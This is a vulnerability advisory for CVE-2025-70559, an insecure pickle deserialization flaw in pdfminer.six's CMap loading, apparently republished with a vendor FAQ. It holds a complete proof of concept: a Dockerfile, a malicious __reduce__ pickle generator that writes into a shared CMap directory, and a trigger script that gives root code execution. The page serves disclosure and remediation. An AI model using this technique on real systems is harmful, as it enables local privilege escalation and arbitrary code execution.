CVE-2025-70559

🚀 Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

📚 Table of Contents

• 🔍 Background
• 🐍 Vulnerability Description
• 🎭 Demo Scenario
• 🧨 Technical Details
• 🔧 Setup and Usage
• 📝 Step-by-step Walkthrough
• 🛡️ Security Standards & References

🔍 Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue:
If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.

🐍 Vulnerability Description

• Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
• Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
• Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminer, potentially root or a privileged service.
• Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

🎭 Demo Scenario

Environment:

• 🐧 Alpine Linux (Docker container)
• 👨‍💻 Two users:
  • user1 (attacker: low-privilege)
  • root (victim: runs privileged PDF-processing script)
• 🗂️ Shared writable directory: /tmp/uploads
• 🛣️ CMAP_PATH set to /tmp/uploads for the privileged script
• 📦 pdfminer.six installed system-wide

Attack Flow:

1. 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads.
2. 👑 The privileged service (root) processes a PDF or calls get_cmap("Evil").
3. 💣 The malicious pickle is deserialized, running arbitrary code as root.
4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

🧨 Technical Details

• Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
• Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
• Vulnerable Line:

  return type(str(name), (), pickle.loads(gzfile.read()))
  

  In pdfminer/cmapdb.py's _load_data method
• https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
• Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain:

• Attacker places a malicious .pickle.gz file in the CMap search path.
• Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
• Arbitrary code executes with the privilege of the process (root/service account).

🔧 Setup and Usage

📁 Files

</> Dockerfile

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

</> createEvilPickle.py

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

</> processPDF.py

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

1️⃣ Build and start the demo container

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1)

su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

👑 Shell 2 (Victim: root)

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

📝 Step-by-step Walkthrough

1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
2. The root user runs a typical PDF-processing script, which loads CMap files from that directory.
3. The exploit triggers, running arbitrary code as root.
4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

🛡️ Security Standards & References

• CVSS (Common Vulnerability Scoring System):

  • Base Score: 7.8 (High)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• OWASP Top 10:

  • A08:2021 - Software and Data Integrity Failures
  • A03:2021 - Injection (by analogy, as it's code injection via deserialization)

• MITRE CWE References:

  • CWE-502: Deserialization of Untrusted Data
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

• MITRE ATT&CK Techniques:

  • T1055: Process Injection
  • T1548: Abuse Elevation Control Mechanism

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2025-70559 has a CVSS score of 7.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (20251230); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-70559? CVE-2025-70559 is a high-severity insecure deserialization vulnerability in pdfminer.six (pip), affecting versions < 20251230. It is fixed in 20251230. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is CVE-2025-70559? CVE-2025-70559 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pdfminer.six are affected by CVE-2025-70559? pdfminer.six (pip) versions < 20251230 is affected.
4. Is there a fix for CVE-2025-70559? Yes. CVE-2025-70559 is fixed in 20251230. Upgrade to this version or later.
5. Is CVE-2025-70559 exploitable, and should I be worried? Whether CVE-2025-70559 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-70559 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-70559? Upgrade pdfminer.six to 20251230 or later.